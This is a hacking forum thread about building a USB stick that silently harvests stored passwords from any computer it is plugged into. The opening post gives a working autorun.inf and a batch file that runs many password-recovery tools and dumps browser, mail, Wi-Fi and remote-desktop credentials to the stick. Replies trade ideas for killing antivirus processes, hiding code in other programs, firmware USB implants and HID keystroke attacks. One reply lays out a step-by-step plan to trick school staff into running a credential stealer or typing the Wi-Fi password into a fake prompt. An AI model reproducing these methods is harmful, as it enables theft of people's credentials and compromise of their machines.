Copy the program exe's to a flash drive (NOTE: you con find them using google and this is for people who are already a working IT tech or pentester not the average person so don't ask where to get the files as you should already know) NEXT --> Copy all programs to a USB Drive (DO NOT INSTALL THEM TO THE USB DRIVE!). Make a text file and type following in it...... [autorun] open=launch.bat ACTION= Perform USB Check Save the text file as autorun.txt or standard file type for your text editor. Now rename autorun.txt to autorun.inf Now copy this new file to your USB drive. Create another text file and write the folowing text in it...... start mspasssetup.exe /stext mspass.txt start mailpvsetup.exe /stext mailpv.txt start iepvsetup.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt start netpasssetup.exe /stext netpass.exe start webbrowserpassview_setup.exe /stext webbrowserpassview.txt Now save this file as launch.txt Now rename launch.txt to launch.bat Save this new file to your USB drive (Remember that other tools can be used in this way also) Plug your USB drive into a computer and a box will pop up on the screen that says “Preform USB Check”. Click on it! All passwords will be saved in text files. When checking on your own computer to see what passwords you have collected do not click “Preform USB Check”! Just open in a file manager mode! I actual use the following now--> start BulletsPassView.exe /stext BulletsPassView.txt start ChromePass.exe /stext ChromePass.txt start Dialupass.exe /stext Dialupass.txt start iepv.exe /stext iepv.txt start mailpv.exe /stext mailpv.txt start mspass.exe /stext mspass.txt start netpass.exe /stext netpass.txt start OperaPassView.exe /stext OperaPassView.txt start PasswordFox.exe /stext PasswordFox.txt start pspv.exe /stext pspv.txt start PstPassword.exe /stext PstPassword.txt start rdpv.exe /stext rdpv.txt start RemotePocketAsterisk.exe /stext RemotePocketAsterisk.txt start RouterPassView.exe /stext RouterPassView.txt start SniffPass.exe /stext SniffPass.txt start VNCPassView.exe /stext VNCPassView.txt start PocketAsterisk.exe /stext PocketAsterisk.txt start WebBrowserPassView.exe /stext WebBrowserPassView.txt start WirelessKeyView.exe /stext WirelessKeyView.txt start BulletsPassView.exe /staxt BulletsPassView.txt If you know how to make this better please let me know!
Correction for the top--> download the zips that have the .exe with the read me text files! delete all the read me text files as they are not needed at all and can make it confusing later on. ONLY PUT THE .EXE FILES FROM THE ZIPFILES ON THE USB!!!!!!!!!!!!!!!!!!!!!!!!
Really cool idea, tried it myself yet I never got the "Preform USB Check" pop-up and had to run the batch file manually. And it seems that it runs somewhat differently on all 3 PC's in my home (2 are Windows 8.1, other one is Windows 7). Some exe's get blocked by Avast, and on one PC the process seems to crash when it tried to run the first command.
Thanks, Nibiru! I need as much input for this project as I can get. I have found that IT SOMETIMES WORKS ON MY XP laptop but now that I installed service pack 3 it no longer starts correctly. I'm not sure why. All the programs listed above will work but you have to remember that they are true hacking tools and anti-virus software should try to protect the system from the tools. If you are using this as a password recovery tool, just uninstall or turn off the anti-virus. I have a dream of turning this into a all in one hacking tool where maybe one day it will get to the point that all you have to do is plug it in to a computer and you get all the info you need. I need to find a way to make it disable the anti-virus first. ZIP BOMB MAYBE?
I really like this, I tried it but my McAfee was instantly detecting them and I even turned off live scanning and it still was detecting them. Also, I was trying to do this where it instantly runs my USB upon plugging it in but someone told me in a windows update that they disabled auto running from USB. Any advice? I got most of it to work except I had to manually run the bat file.
Ok, so more input from me, might be helpful since I tested it on 3 different configurations. I had to run the batch file manually on every PC. On my main PC, I have both Avast (free version) and COMODO Firewall running. Seems that COMODO really does it's job as it automatically sandboxes all processes (green border around every password recovery window) and asks what it should do with them (that's the PC with Windows 8.1). I did specifically save one password on firefox to see if it recovers it, but PasswordFox shows an error saying "Failed to initialize the decryption library of Firefox" (maybe b/c the process is sandboxed?). The next PC is running Windows 7 and Avast (no COMODO) things seem to run nicely, and a few passwords are recovered from Chrome (passwords saved for certain websites) but not the password for the google account that chrome automatically logs on. Avast seems to quarantine only one file and that is the RouterPassView exe's and it removes it from the USB (it was the same behavior on my main PC). On the last PC running Windows 8.1 and Avast some wired stuff happens and the cmd process seems to hang when running the first command. (P.S. idk if I should be scared about posting a lot of info about my configuration like this)
@matthewfalanga This might help you out: http://www.robvanderwoude.com/batchstart.php Lots of fun stuff on it [autorun]open=launch.bat ACTION= Not stealing passwords :)
Thank you crazygameguy, Nibiru and Doktor Frankenstein! All of this information will help me improve this. Hopefully, one day this will turn out to be a perfect hacking tool. As far as USB devices not being able to auto boot, my Western Digital My Passport auto boots the password and decryption program every time on all windows platforms even the OS's before XP. My WD passport is actually the reason I started this project. If it can autoboot then a flash drive can as well. the biggest hurdle will to make the programs run without Anti-virus detection or to write new programs that will do the same but is un familiar to the anti-virus. Or to maybe have the first program that runs kill any anti-virus tasks.
There was a video on youtube from one of the conferences that explained how two German guys hacked a usb's firmware. Autorun was avoided because the system unknowingly ran the program embedded in the firmware upon registration.
Thanks KnightOfRen
Seems to become a handy tool. Gonna try it later or tomorrow on my setup. Got some Win7, WIn8 & Win10 PCs around with different AV software on them. Gonna report later on.
@THEBLACKMASK666 That's alright. I found it interesting that even if you formatted the usb, because the firmware was stored on the chip instead of the flashdrive, the hack was left intact. They installed a meterpreter using this method.
KingOfRen, you might of just solved one of my problems! Thanks a lot!
@THEBLACKMASK666 No problem. It's a bit iffy to do, but a fun little project. Those of a darker persuasion could be tempted to buy a box and leave them strewn across the streets.
KnightOfRen, Iffy is not impossible and worth a try! Also, yes it is very fun!
Sorry to everyone who has been helping me with this project. I have been in the hospital a lot but I am still dedicated to this. While I am ill and in and out the hospital, I hope there is someone who can keep this project going. Thanks to you all for all your help and support!
Oh noez, hope you are doing ok. Wish you get better ASAP.
My first thought was to run a script to kill the av processes, but actually you need to kill the services first, then you can kill the processes. Any who found a nice article that might put you on the right path.https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus
Thank you Nibiru and I will try to look at this as soon as possible asdf1nit.
Hope you're doing well @THEBLACKMASK666 The other thing I forgot to mention, if you're looking for something to hide the program in, there's a program (I won't name it on here) that can hide your code in other programs code caves. It would alter the hash of the program, but who really checks those?
KnightOfRen, you can email me @ matthewfalanga1983@live.com to give info that you think is not safe to put here and thanks again for your help!
I am still in the hospital and still working on this and it has been brought to my attention that security on USB Pen Drives is being beefed up by the companies making them. Please do not let this discourage you as SD, Mini SD, Micro SD and other media cards can be used in the same way and have less security and restrictions then USB Pen Drives!
So basically your trying to create your own version of the USB switchblade? I hate to break it to you but you will never get your bat files on the USB to auto-run. This is due to that windows fix that vulnerability back in the windows XP days thanks to the USB Switchblade. Older system like windows 2000 and below are still vulnerable to this attack. What you would need is a USB stick that was U3 smart drive that enable this option.
thnx!
I would never save a password on any physical device. Lock it in a drawer and lock the door too.
@nerv we've already established this hurdle. I presented him a way to put his code onto the actual chip of the usb drive instead of on the flash drive, the code is passed over when the usb establishes a handshake and registers with the computer.
okey!
I have also noticed that on my computer, if it is in safe mode, this works perfectly.
I finally loaded Kali Linux to a Micro SD card then used an old computer as a test subject and also a new one. On the new computer (MSI MOBO w/ AMD HEXcore CPU and basics of everything else) it worked better then what I am trying to make, however, on the old computer I could not get Kali to boot. With this in mind and the facts that not everyone is in a rush to upgrade, I still think this is well worth the effort.
This is a similar version of LUpen.
Up
Maybe it might be a good idea to make an OS based on Kali but aimed at older computers and also use Kali for newer computers. What do you all think?
Very informative thread. Nice to know all this.
Thanks KalBhairav
Thank you going to look it over
Just to inform everyone, I have a group of collage students working on my last idea but they are adding on to my idea. They are making a OS that would have to boot from a USB Flash Drive. This OS would be able to scan the hard drive of the host computer and pull passwords and user names. currently after boot, with the push of a button 10% of the time it can pull passwords from Windows 10 and the percentage goes up with older OSes. I know that currently the percentage is low but to see some success is promising. If I get this OS working at 90% I will give everyone who put input to help me a download link for it. Everyone who posted here to help me will be listed in the credits as well as the college team. Afterwords the OS will only be given to select people. Thanks to everyone for your help!
thanks
welcome
Thanks!...but some of those programs are blocked by AV..
@matthewfalanga Way to go man ! I'm currently in the process of writing a "proof of concept" an android app that can turn on mobile hot-spot and switch the src attribute in all img tags in all http traffic, kind of like an intercepting proxy that works on an android phone. Learning to use linux on mobile phones is fun (ofc the phone needs to be rooted and the applications needs root permission!) One time I saw a guy that had some kind of app on his tablet. He plugged his tablet to some PC and from his tablet he could use wget to download some image off the internet and change the wallpaper on the PC. I think it might be because he wrote some usb drivers which introduced the usb connection as a keyboard and then he could execute arbitrary commands as a keyboard from his application. Anyway I thought it was an interesting way of doing it.
Also is installing Kali linux on a Rasbperry Pi something similar to what you guys are doing ? Ive been using it like that for a while now. How are the permissions different when you are plugging into an SD card card slot on a PC as compared to a USB ?
Its weird to read "only special ppl" thing on website that prom0tes free knowledge.... im not exactly supporting this approach and strongly suggest to mind open source. that being said, i rather recommend you to look into HID attacks rather than trying to circumvent the autorun issue. Its just so 9tees and has been fixed mostly. Last years blackhat and defcon should be a good point t0 start. To the project, a simple HID script on a modded usb device could help you out either. Theres no other easy way around, the reason why your friends at college are going to develop a dedicated OS. Which is cool n all, but how would you go about forcing the OS to boot. And thats another point decreasing the efficiency of this "attack".... the need to reboot. dont get me wrong, i know recovery tool all cool nahnah... reading your lines and intents, websure can.talk about attack here, or the booting and autorun issue wouldnt be issues at all... A HID attack makes this obsolete... the easiest way is a nethunter device, more advanced way is modding suitable usb. writE a ducky payload script and there you go. This is far more powerful imho. You could even reverse engineer the code of certain exe files mentioned here, get to know what they do, translate that code or the stuff you need into your script if possible and you wont ever have AV problems again as the device is physically a keyboard .... only entering keystrokes.... again, to encourage ppl to learn and share i strongly suggest to develop an open sourced mind ^^ as you may gu3ss, i wouldnt even be interested in your tool, as there are many more up to date and efficient ways... no offence, i just want to underline my statement. This is the idea of open source, things will only get forward and tools more advanced if all act as a community. Theres no benefit at all if you keep your ideas and you rstrict yourself getting from creative to innOvative which i.e. differs the occassional script kid or even the IT professional from the expert and the real hacker. Cheers ^^
Good point @cyclex25 and I agree. There is more benefits in making it open source, "given enough eyeballs, all bugs are shallow" and all that (The Cathedral and the Bazaar is on my to-read list after I finish reading this Black Hat Python book), even tho the community part speaks stronger to me. I can post a link to my github android transparent intercepting proxy when more stuff works and I won't be ashamed to call the code my own, which needs some serious refactoring xD and of course if there is someone interested. Maybe it will be useful for educational purposes since I know there is more advanced tools like cSploit or zANTI available right now.
Thanks
never feel ashamed for your code, mind you´re lightyears ahead of those not coding (well at least in terms of coding). sharing your code will help you becoming a better programmer. contributing ppl will lead you to new creative input and sure help you becoming better too. csploit an zanti are great. though they have password/login options, they´re just not dedicated recovery tools and won't be much of a help. no hash cracking i.e. my opinion, your best bet on a phone, i´d strongly recommend getting a nethunter device. its expensive yeah.... stop at that thought and have a look for the price of a pwnphone express. i got my "pwnphone" for roughly 300 bucks altogether, so i saved wopping 1000 dollars! it even makes both apps obsolete, just more convenient having an app aside nethunters kali and the nethunter app. i barely use smth else than these 3 ones.... nethunter being really advanced, but a pain in the * to get properly running everything in there. i love it, cause its just way more powerful than my old phones kali install. well, sorry getting off topic. i get way too much excited when ppl talk about phone stuff here, some dedicated section here is REALLY needed. have fun, cheers
Cyclex25 motivated me to write my ideas about stealing passwords using USB devices. It may sound a bit off topic, but I just want to share my ideas with the community and maybe someone could improve them. So, actually my goal is to get password of our school's wi-fi. I won't use it or share with anyone, it's just a fun challenge for me. My plan is mostly social engineering actually, but it is closely related to computer hacking. Also I'm a newbie in hacking, but with pretty good background mostly in coding, so don't expect anything super OP in my plan. My text appears to be a bit big, but it's even not a detailed plan. Maybe there are some unnecessary details (like this sentence), sorry for them. I'll begin by creating a USB that have the following on it: 1. Hidden text file that contains info about the owner of the stick 2. Directory containing script launching file for stealing a password 3. Script that prompts current network password (“Ooops, it’s not me”) My rough scenario of how everything will be done: Preparation: - Create all of this files - I need a second person to be a USB stick "owner" - Find a time when the victim is alone in her cabinet Action: - "Owner" comes to our head teacher or deputy director (actually anyone with access to the wifi and w/o good computer knowledge) to ask for or do something documents or education related. He/she should pretend to be in hurry and do everything very fast. "Owner" just does whatever he/she "needs" and leaves. - Next I come to ask something similar (it will likely be revision of my exam results) holding a USB stick in my hand (victim shouldn't see it). When I ask my question I "notice" a USB stick on the floor and "pick it up" asking if it's my victim's property. The answer is expected to be "no". - If the victim says "no" I ask her for permission to use her computer and find out who is the owner (she has no idea that it's kinda impossible in reality). - If the victim allows me to do it I first attempt to run an app (2) that saves passwords to the stick (everything will be done via terminal since victim can understand what I'm doing in GUI). If it works - I'm done, I open a file that contains owner information (1). The first file is used by me, as we in Russia say, to come out dry from the water. I just show that it's my friend and say that I'll return it to owner, or let the victim do it herself. - If the app doesn't work, I'll use the app 3. It will create a dialogue box which prompts for wifi network password. I say that I didn't cause it and she should enter the password which is then being saved to the USB and I repeat the end of previous paragraph. - If the victim doesn't allow me to use her computer or pretends to be the owner of the USB stick - there is the script (2) called "Info about the owner" or sth similar, so if she is curious enough she'll open this file and her passwords will be saved to the stick and the "owner" displayed, so she'll be able to return the stick to my friend. It's not a complete plan and I don't think it will happen exactly like I think, but I'll do my best to stick to this plan. Also I'm thinking of expanding it: make victim's computer accessible by me, make an autorun app on the USB stick (that's what I was searching for when I found this topic). That's it for now, sorry if my grammar isn't very good, English is not my native language. I hope you understand my idea. Critique is appreciated.
Nibiru, Take a look at Kali Linux NetHunter. I have seen people using NetHunter from a tablet to fully reconfigure a computer.
Here's a site that has plenty of hacking tricks and tutorials - www.haxf4rall.com
SterJo website is also another great start for hacking tips and tricks. You can find lots of cool tools for hacking there, just go to http://www.sterjosoft.com and check it out
Looks like all the programs on http://www.sterjosoft.com are loaded either with PUM's or PUP's!! :(
Where is the download link?
thx for the info
